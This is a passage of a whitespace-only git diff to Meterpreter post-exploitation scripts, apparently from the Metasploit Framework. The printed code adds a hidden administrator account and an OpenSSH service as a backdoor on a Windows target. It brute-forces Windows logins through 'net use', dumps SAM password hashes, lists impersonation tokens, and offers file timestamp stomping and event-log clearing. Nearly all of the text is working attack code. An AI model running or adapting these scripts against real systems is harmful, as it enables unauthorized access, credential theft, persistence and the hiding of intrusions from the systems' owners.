** 8).to_s(36).rjust(8,"0")}" + print_status("Creating directory #{dirname}.....") + client.fs.dir.mkdir(dirname) else - if !::File.exists?(dirname) && !::File.directory?(dirname) - print_status("Creating directory #{dirname}.....") - client.fs.dir.mkdir(dirname) - end + if !::File.exists?(dirname) && !::File.directory?(dirname) + print_status("Creating directory #{dirname}.....") + client.fs.dir.mkdir(dirname) + end end fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe" print_status("Uploading #{extractfilename} to #{fileontrgt}....") @@ -273,21 +273,21 @@ def wrong_meter_version(meter = meter_type) fd = client.fs.file.new(envtxtname, "rb") while not fd.eof? - linesarray = fd.read.split("\r\n") - linesarray.each { |line| - currentline = line.split('=') - envvarname = currentline[0] - envvarvalue = currentline[1] - clientenv[envvarname] = envvarvalue - } + linesarray = fd.read.split("\r\n") + linesarray.each { |line| + currentline = line.split('=') + envvarname = currentline[0] + envvarvalue = currentline[1] + clientenv[envvarname] = envvarvalue + } end fd.close # Do not continue if client-os is not valid unless clientenv["OS"] == 'Windows_NT' - print_error("This script will run on Windows-NT based OS only!") - raise Rex::Script::Completed + print_error("This script will run on Windows-NT based OS only!") + raise Rex::Script::Completed end @@ -324,31 +324,31 @@ def wrong_meter_version(meter = meter_type) # Add windows-user if requested # unless username == "none" - if password == nil - print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") - usage - end - - #Get localized name for windows-admin-grp - admingrpname = nil - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") - sleep 1 - fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb") - while not fd.eof? - linesarray = fd.read.split("\n") - linesarray.each { |line| - if line[0..4] =~ /[aA]dmin/ - admingrpname = line.slice!(/[aA]dmin[a-z]+/) - end - } - end - fd.close - sleep 2 - client.fs.file.rm("#{dirname}\\groupnames.txt") - print_line("Adding user #{username}....") - client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}") - print_line("Add user #{username} to #{admingrpname}") - client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD") + if password == nil + print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") + usage + end + + #Get localized name for windows-admin-grp + admingrpname = nil + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") + sleep 1 + fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb") + while not fd.eof? + linesarray = fd.read.split("\n") + linesarray.each { |line| + if line[0..4] =~ /[aA]dmin/ + admingrpname = line.slice!(/[aA]dmin[a-z]+/) + end + } + end + fd.close + sleep 2 + client.fs.file.rm("#{dirname}\\groupnames.txt") + print_line("Adding user #{username}....") + client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}") + print_line("Add user #{username} to #{admingrpname}") + client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD") end # @@ -373,9 +373,9 @@ def wrong_meter_version(meter = meter_type) # print_status("Adding OpenSSHd-Service.......") if type == manual - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"") + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"") else - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"") + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"") end print_status("Service successfully installed!") sleep 2 @@ -392,10 +392,10 @@ def wrong_meter_version(meter = meter_type) # Run OpenSSH-service unless noauto was specified unless noauto - print_status("Starting OpenSSH-Service....") - client.sys.process.execute("cmd.exe", "/c net start #{servicename}") - sleep 1 - print_status("OpenSSHd has been started!") + print_status("Starting OpenSSH-Service....") + client.sys.process.execute("cmd.exe", "/c net start #{servicename}") + sleep 1 + print_status("OpenSSHd has been started!") end # Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index abc351b7b73b..ee4e925d623b 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -2,12 +2,12 @@ #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "\tHelp menu."], - "-t" => [ true, "\tTarget IP Address"], - "-p" => [ true, "\tPassword List"], - "-cp" => [ false, "\tCheck Local Machine Password Policy"], - "-L" => [ true, "\tUsername List to be brute forced"], - "-l" => [ true, "\tLogin name to be brute forced"] + "-h" => [ false, "\tHelp menu."], + "-t" => [ true, "\tTarget IP Address"], + "-p" => [ true, "\tPassword List"], + "-cp" => [ false, "\tCheck Local Machine Password Policy"], + "-L" => [ true, "\tUsername List to be brute forced"], + "-l" => [ true, "\tLogin name to be brute forced"] ) # Variables for Options user = [] @@ -26,122 +26,122 @@ # This policy may resemble the policy of other servers in the #target enviroment. def chkpolicy(session) - print_status("Checking password policy...") - output = [] - begin - r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - r.channel.close - r.close - # Parsing output of net accounts - lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/) - minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/) - failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/) - lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/) - # check for account lockout - if lockout.empty? - print_status "\tNo account lockout threshold configured" - else - print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked" - print_status "\tThe account will be locked out for #{lcktime}" - end - # check for password lenght - if minpass.to_s == "0" - print_status "\tNo minimun password lenght is configured" - else - print_status "\tThe minumun password lengh configured is #{minpass}" - print_status "\tyour dictionary should start with passwords of #{minpass} length" - end - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + print_status("Checking password policy...") + output = [] + begin + r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + r.channel.close + r.close + # Parsing output of net accounts + lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/) + minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/) + failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/) + lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/) + # check for account lockout + if lockout.empty? + print_status "\tNo account lockout threshold configured" + else + print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked" + print_status "\tThe account will be locked out for #{lcktime}" + end + # check for password lenght + if minpass.to_s == "0" + print_status "\tNo minimun password lenght is configured" + else + print_status "\tThe minumun password lengh configured is #{minpass}" + print_status "\tyour dictionary should start with passwords of #{minpass} length" + end + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #-------------------------------------------------------- # Function for brute forcing passwords using windows native tools def passbf(session,passlist,target,user,opt,logfile) - print_status("Running Brute force attack against #{user}") - print_status("Successfull Username and Password pairs are being saved in #{logfile}") - result = [] - output = [] - passfnd = 0 - a = [] - i = 0 - if opt == 1 - if not ::File.exists?(user) - raise "Usernames List File does not exists!" - else - user = ::File.open(user, "r") - end - end - # Go thru each user - user.each do |u| - # Go thru each line in the password file - while passfnd < 1 - ::File.open(passlist, "r").each_line do |line| - begin - print_status("Trying #{u.chomp} #{line.chomp}") - - # Command for testing local login credentials - r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - r.channel.close - r.close - - # Checks if password is found - result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) - if result.length == 1 - print_status("\tUser: #{u.chomp} pass: #{line.chomp} found") - file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}") - r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - output.clear - r.channel.close - r.close - passfnd = 1 - break - end - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - - end - passfnd = 1 - end - passfnd = 0 - end + print_status("Running Brute force attack against #{user}") + print_status("Successfull Username and Password pairs are being saved in #{logfile}") + result = [] + output = [] + passfnd = 0 + a = [] + i = 0 + if opt == 1 + if not ::File.exists?(user) + raise "Usernames List File does not exists!" + else + user = ::File.open(user, "r") + end + end + # Go thru each user + user.each do |u| + # Go thru each line in the password file + while passfnd < 1 + ::File.open(passlist, "r").each_line do |line| + begin + print_status("Trying #{u.chomp} #{line.chomp}") + + # Command for testing local login credentials + r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + r.channel.close + r.close + + # Checks if password is found + result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) + if result.length == 1 + print_status("\tUser: #{u.chomp} pass: #{line.chomp} found") + file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}") + r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + output.clear + r.channel.close + r.close + passfnd = 1 + break + end + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + + end + passfnd = 1 + end + passfnd = 0 + end end #-------------------------------------------------------- # Function for creating log file def logme(target) - # Create Filename info to be appended to files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf') + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf') - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - dest = logs + "/" + target + filenameinfo + #logfile name + dest = logs + "/" + target + filenameinfo - dest + dest end #-------------------------------------------------------- # ##check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -149,47 +149,47 @@ def unsupported # Parsing of Options @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-l" - user << val - ulopt = 0 - when "-L" - userlist = val - ulopt = 1 - - when "-cp" - chkpolicy(session) - exit - when "-p" - - passlist = val - if not ::File.exists?(passlist) - raise "Password File does not exists!" - end - when "-t" - target = val - when "-h" - print("Windows Login Brute Force Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage) - helpcall = 1 - end + case opt + when "-l" + user << val + ulopt = 0 + when "-L" + userlist = val + ulopt = 1 + + when "-cp" + chkpolicy(session) + exit + when "-p" + + passlist = val + if not ::File.exists?(passlist) + raise "Password File does not exists!" + end + when "-t" + target = val + when "-h" + print("Windows Login Brute Force Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage) + helpcall = 1 + end } # Execution of options selected if user.length > 0 && passlist != nil && target != nil - passbf(session,passlist,target,user,ulopt,logme(target)) + passbf(session,passlist,target,user,ulopt,logme(target)) elsif userlist != nil && passlist != nil && target != nil - passbf(session,passlist,target,userlist,ulopt,logme(target)) + passbf(session,passlist,target,userlist,ulopt,logme(target)) elsif helpcall == 0 - print("Windows Login Brute Force Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage) + print("Windows Login Brute Force Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage) end diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb index 61a235ae235a..f494c5076ea5 100644 --- a/scripts/meterpreter/winenum.rb +++ b/scripts/meterpreter/winenum.rb @@ -3,33 +3,33 @@ ################## Variable Declarations ################## @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ], - "-r" => [ false, "Dump, compress and download entire Registry" ], - "-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ] + "-h" => [ false, "Help menu." ], + "-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ], + "-r" => [ false, "Dump, compress and download entire Registry" ], + "-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ] ) rd = nil mg = nil cm = nil opts.parse(args) { |opt, idx, val| - case opt - when '-r' - rd = 1 - when '-m' - mg = 1 - when '-c' - cm = 1 - when "-h" - print_line "WinEnum -- Windows local enumeration" - print_line - print_line "Retrieves all kinds of information about the system" - print_line "including environment variables, network interfaces," - print_line "routing, user accounts, and much more. Results are" - print_line "stored in #{::File.join(Msf::Config.log_directory,'scripts', 'winenum')}" - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when '-r' + rd = 1 + when '-m' + mg = 1 + when '-c' + cm = 1 + when "-h" + print_line "WinEnum -- Windows local enumeration" + print_line + print_line "Retrieves all kinds of information about the system" + print_line "including environment variables, network interfaces," + print_line "routing, user accounts, and much more. Results are" + print_line "stored in #{::File.join(Msf::Config.log_directory,'scripts', 'winenum')}" + print_line(opts.usage) + raise Rex::Script::Completed + end } #------------------------------------------------------------------------------- @@ -50,436 +50,436 @@ # Commands that will be ran on the Target commands = [ - 'cmd.exe /c set', - 'arp -a', - 'ipconfig /all', - 'ipconfig /displaydns', - 'route print', - 'net view', - 'netstat -nao', - 'netstat -vb', - 'netstat -ns', - 'net accounts', - 'net accounts /domain', - 'net session', - 'net share', - 'net group', - 'net user', - 'net localgroup', - 'net localgroup administrators', - 'net group administrators', - 'net view /domain', - 'netsh firewall show config', - 'tasklist /svc', - 'tasklist /m', - 'gpresult /SCOPE COMPUTER /Z', - 'gpresult /SCOPE USER /Z' + 'cmd.exe /c set', + 'arp -a', + 'ipconfig /all', + 'ipconfig /displaydns', + 'route print', + 'net view', + 'netstat -nao', + 'netstat -vb', + 'netstat -ns', + 'net accounts', + 'net accounts /domain', + 'net session', + 'net share', + 'net group', + 'net user', + 'net localgroup', + 'net localgroup administrators', + 'net group administrators', + 'net view /domain', + 'netsh firewall show config', + 'tasklist /svc', + 'tasklist /m', + 'gpresult /SCOPE COMPUTER /Z', + 'gpresult /SCOPE USER /Z' ] # Windows 2008 Commands win2k8cmd = [ - 'servermanagercmd.exe -q', - 'cscript /nologo winrm get winrm/config', + 'servermanagercmd.exe -q', + 'cscript /nologo winrm get winrm/config', ] # Commands that MACE will be changed cmdstomp = [ - 'cmd.exe', - 'reg.exe', - 'ipconfig.exe', - 'route.exe', - 'net.exe', - 'netstat.exe', - 'netsh.exe', - 'makecab.exe', - 'tasklist.exe', - 'wbem\\wmic.exe', - 'gpresult.exe' + 'cmd.exe', + 'reg.exe', + 'ipconfig.exe', + 'route.exe', + 'net.exe', + 'netstat.exe', + 'netsh.exe', + 'makecab.exe', + 'tasklist.exe', + 'wbem\\wmic.exe', + 'gpresult.exe' ] # WMIC Commands that will be executed on the Target wmic = [ - 'useraccount list', - 'group list', - 'service list brief', - 'volume list brief', - 'logicaldisk get description,filesystem,name,size', - 'netlogin get name,lastlogon,badpasswordcount', - 'netclient list brief', - 'netuse get name,username,connectiontype,localname', - 'share get name,path', - 'nteventlog get path,filename,writeable', - 'process list brief', - 'startup list full', - 'rdtoggle list', - 'product get name,version', - 'qfe', + 'useraccount list', + 'group list', + 'service list brief', + 'volume list brief', + 'logicaldisk get description,filesystem,name,size', + 'netlogin get name,lastlogon,badpasswordcount', + 'netclient list brief', + 'netuse get name,username,connectiontype,localname', + 'share get name,path', + 'nteventlog get path,filename,writeable', + 'process list brief', + 'startup list full', + 'rdtoggle list', + 'product get name,version', + 'qfe', ] #Specific Commands for Windows vista for Wireless Enumeration vstwlancmd = [ - 'netsh wlan show interfaces', - 'netsh wlan show drivers', - 'netsh wlan show profiles', - 'netsh wlan show networks mode=bssid', + 'netsh wlan show interfaces', + 'netsh wlan show drivers', + 'netsh wlan show profiles', + 'netsh wlan show networks mode=bssid', ] # Commands that are not present in Windows 2000 nonwin2kcmd = [ - 'netsh firewall show config', - 'tasklist /svc', - 'gpresult /SCOPE COMPUTER /Z', - 'gpresult /SCOPE USER /Z', - 'prnport -l', - 'prnmngr -g', - 'tasklist.exe', - 'wbem\\wmic.exe', - 'netsh.exe', + 'netsh firewall show config', + 'tasklist /svc', + 'gpresult /SCOPE COMPUTER /Z', + 'gpresult /SCOPE USER /Z', + 'prnport -l', + 'prnmngr -g', + 'tasklist.exe', + 'wbem\\wmic.exe', + 'netsh.exe', ] # Executables not pressent in Windows 2000 nowin2kexe = [ - 'netsh.exe', - 'gpresult.exe', - 'tasklist.exe', - 'wbem\\wmic.exe', + 'netsh.exe', + 'gpresult.exe', + 'tasklist.exe', + 'wbem\\wmic.exe', ] ################## Function Declarations ################## def findprogs() - print_status("Extracting software list from registry") - proglist = "" - threadnum = 0 - a = [] - appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', - 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] - appkeys.each do |keyx86| - soft_keys = registry_enumkeys(keyx86) - if soft_keys - soft_keys.each do |k| - if threadnum < 10 - a.push(::Thread.new { - begin - dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") - dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") - proglist << "#{dispnm},#{dispversion}" - rescue - end - }) - threadnum += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - threadnum = 0 - end - end - end - end - - file_local_write("#{@logfol}/programs_list.csv",proglist) + print_status("Extracting software list from registry") + proglist = "" + threadnum = 0 + a = [] + appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', + 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] + appkeys.each do |keyx86| + soft_keys = registry_enumkeys(keyx86) + if soft_keys + soft_keys.each do |k| + if threadnum < 10 + a.push(::Thread.new { + begin + dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") + dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") + proglist << "#{dispnm},#{dispversion}" + rescue + end + }) + threadnum += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + threadnum = 0 + end + end + end + end + + file_local_write("#{@logfol}/programs_list.csv",proglist) end # Function to check if Target Machine a VM # Note: will add soon Hyper-v and Citrix Xen check. def chkvm() - check = nil - vmout = '' - info = @client.sys.config.sysinfo - print_status "Checking if #{info['Computer']} is a Virtual Machine ........" - - # Check for Target Machines if running in VM, only fo VMware Workstation/Fusion - begin - key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS' - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ) - v = open_key.query_value('SystemManufacturer') - sysmnfg = v.data.downcase - if sysmnfg =~ /vmware/ - print_status "\tThis is a VMware Workstation/Fusion Virtual Machine" - vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n" - check = 1 - elsif sysmnfg =~ /xen/ - print_status("\tThis is a Xen Virtual Machine.") - check = 1 - end - rescue - - end - if check != 1 - begin - #Registry path using the HD and CD rom entries in the registry in case propirtary tools are - #not installed. - key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" - root_key2, base_key2 = @client.sys.registry.splitkey(key2) - open_key2 = @client.sys.registry.open_key(root_key2,base_key2,KEY_READ) - v2 = open_key2.query_value('Identifier') - - if v2.data.downcase =~ /vmware/ - print_status "\tThis is a VMWare virtual Machine" - vmout << "This is a VMWare virtual Machine\n\n" - elsif v2.data =~ /vbox/ - print_status "\tThis is a Sun VirtualBox virtual Machine" - vmout << "This is a Sun VirtualBox virtual Machine\n\n" - elsif v2.data.downcase =~ /xen/ - print_status "\tThis is a Xen virtual Machine" - vmout << "This is a Xen virtual Machine\n\n" - elsif v2.data.downcase =~ /virtual hd/ - print_status "\tThis is a Hyper-V/Virtual Server virtual Machine" - vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n" - end - rescue::Exception => e - end - end - vmout + check = nil + vmout = '' + info = @client.sys.config.sysinfo + print_status "Checking if #{info['Computer']} is a Virtual Machine ........" + + # Check for Target Machines if running in VM, only fo VMware Workstation/Fusion + begin + key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS' + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ) + v = open_key.query_value('SystemManufacturer') + sysmnfg = v.data.downcase + if sysmnfg =~ /vmware/ + print_status "\tThis is a VMware Workstation/Fusion Virtual Machine" + vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n" + check = 1 + elsif sysmnfg =~ /xen/ + print_status("\tThis is a Xen Virtual Machine.") + check = 1 + end + rescue + + end + if check != 1 + begin + #Registry path using the HD and CD rom entries in the registry in case propirtary tools are + #not installed. + key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" + root_key2, base_key2 = @client.sys.registry.splitkey(key2) + open_key2 = @client.sys.registry.open_key(root_key2,base_key2,KEY_READ) + v2 = open_key2.query_value('Identifier') + + if v2.data.downcase =~ /vmware/ + print_status "\tThis is a VMWare virtual Machine" + vmout << "This is a VMWare virtual Machine\n\n" + elsif v2.data =~ /vbox/ + print_status "\tThis is a Sun VirtualBox virtual Machine" + vmout << "This is a Sun VirtualBox virtual Machine\n\n" + elsif v2.data.downcase =~ /xen/ + print_status "\tThis is a Xen virtual Machine" + vmout << "This is a Xen virtual Machine\n\n" + elsif v2.data.downcase =~ /virtual hd/ + print_status "\tThis is a Hyper-V/Virtual Server virtual Machine" + vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n" + end + rescue::Exception => e + end + end + vmout end #------------------------------------------------------------------------------- # Function for running a list a commands stored in a array, return string def list_exec(cmdlst) - print_status("Running Command List ...") - i = 0 - a =[] - @client.response_timeout=120 - cmdlst.each do |cmd| - if i < 10 - a.push(::Thread.new { - r,cmdout='',"" - print_status "\trunning command #{cmd}" - r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - cmdout << d - file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout) - end - cmdout = "" - r.channel.close - r.close - }) - i += 1 - - - else - sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - - a.delete_if {|x| not x.alive?} while not a.empty? + print_status("Running Command List ...") + i = 0 + a =[] + @client.response_timeout=120 + cmdlst.each do |cmd| + if i < 10 + a.push(::Thread.new { + r,cmdout='',"" + print_status "\trunning command #{cmd}" + r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + cmdout << d + file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout) + end + cmdout = "" + r.channel.close + r.close + }) + i += 1 + + + else + sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + + a.delete_if {|x| not x.alive?} while not a.empty? end #------------------------------------------------------------------------------- # Function for running a list of WMIC commands stored in a array, returns string def wmicexec(wmiccmds= nil) - print_status("Running WMIC Commands ....") - i, a = 0, [] - @client.response_timeout=120 - - begin - tmp = @client.fs.file.expand_path("%TEMP%") - - wmiccmds.each do |wmi| - if i < 10 - a.push(::Thread.new { - tmpout = '' - wmicfl = tmp + "\\#{sprintf("%.5d",rand(100000))}.csv" - print_status "\trunning command wmic #{wmi}" - flname = "#{@logfol}/wmic_#{wmi.gsub(/(\W)/,"_")}.csv" - r = @client.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi} /format:csv", nil, {'Hidden' => true}) - sleep(2) - #Making sure that WMIC finishes before executing next WMIC command - prog2check = "wmic.exe" - found = 0 - while found == 0 - @client.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - # Read output of WMIC - wmioutfile = @client.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - # Create file with output of command - filewrt(flname,tmpout) - # Delete created file on disk - begin - @client.fs.file.rm(wmicfl) - rescue - end - - }) - i += 1 - else - sleep(0.01) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end + print_status("Running WMIC Commands ....") + i, a = 0, [] + @client.response_timeout=120 + + begin + tmp = @client.fs.file.expand_path("%TEMP%") + + wmiccmds.each do |wmi| + if i < 10 + a.push(::Thread.new { + tmpout = '' + wmicfl = tmp + "\\#{sprintf("%.5d",rand(100000))}.csv" + print_status "\trunning command wmic #{wmi}" + flname = "#{@logfol}/wmic_#{wmi.gsub(/(\W)/,"_")}.csv" + r = @client.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi} /format:csv", nil, {'Hidden' => true}) + sleep(2) + #Making sure that WMIC finishes before executing next WMIC command + prog2check = "wmic.exe" + found = 0 + while found == 0 + @client.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + # Read output of WMIC + wmioutfile = @client.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + wmioutfile.close + # Create file with output of command + filewrt(flname,tmpout) + # Delete created file on disk + begin + @client.fs.file.rm(wmicfl) + rescue + end + + }) + i += 1 + else + sleep(0.01) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for getting the NTLM and LANMAN hashes out of a system def gethash() - print_status("Dumping password hashes...") - begin - hash = '' - @client.core.use("priv") - select(nil, nil, nil, 3) - hashes = @client.priv.sam_hashes - hashes.each do |h| - hash << h.to_s+"\n" - end - hash << "\n\n\n" - print_status("Hashes Dumped") - rescue ::Exception => e - print_status("\tError dumping hashes: #{e.class} #{e}") - print_status("\tPayload may be running with insuficient privileges!") - end - flname = "#{@logfol}/hashdump.txt" - file_local_write(flname,hash) + print_status("Dumping password hashes...") + begin + hash = '' + @client.core.use("priv") + select(nil, nil, nil, 3) + hashes = @client.priv.sam_hashes + hashes.each do |h| + hash << h.to_s+"\n" + end + hash << "\n\n\n" + print_status("Hashes Dumped") + rescue ::Exception => e + print_status("\tError dumping hashes: #{e.class} #{e}") + print_status("\tPayload may be running with insuficient privileges!") + end + flname = "#{@logfol}/hashdump.txt" + file_local_write(flname,hash) end #------------------------------------------------------------------------------- #Function that uses the incognito features to list tokens on the system that can be used def listtokens() - begin - print_status("Getting Tokens...") - dt = '' - @client.core.use("incognito") - i = 0 - dt << "****************************\n" - dt << " List of Available Tokens\n" - dt << "****************************\n\n" - while i < 2 - tokens = @client.incognito.incognito_list_tokens(i) - if i == 0 - tType = "User" - else - tType = "Group" - end - dt << "#{tType} Delegation Tokens Available \n" - dt << "======================================== \n" - - tokens['delegation'].each_line{ |string| - dt << string + "\n" - } - - dt << "\n" - dt << "#{tType} Impersonation Tokens Available \n" - dt << "======================================== \n" - - tokens['impersonation'].each_line{ |string| - dt << string + "\n" - } - i += 1 - break if i == 2 - end - print_status("All tokens have been processed") - rescue ::Exception => e - print_status("Error Getting Tokens: #{e.class} #{e}") - end - file_local_write("#{@logfol}/tokens.txt",dt) + begin + print_status("Getting Tokens...") + dt = '' + @client.core.use("incognito") + i = 0 + dt << "****************************\n" + dt << " List of Available Tokens\n" + dt << "****************************\n\n" + while i < 2 + tokens = @client.incognito.incognito_list_tokens(i) + if i == 0 + tType = "User" + else + tType = "Group" + end + dt << "#{tType} Delegation Tokens Available \n" + dt << "======================================== \n" + + tokens['delegation'].each_line{ |string| + dt << string + "\n" + } + + dt << "\n" + dt << "#{tType} Impersonation Tokens Available \n" + dt << "======================================== \n" + + tokens['impersonation'].each_line{ |string| + dt << string + "\n" + } + i += 1 + break if i == 2 + end + print_status("All tokens have been processed") + rescue ::Exception => e + print_status("Error Getting Tokens: #{e.class} #{e}") + end + file_local_write("#{@logfol}/tokens.txt",dt) 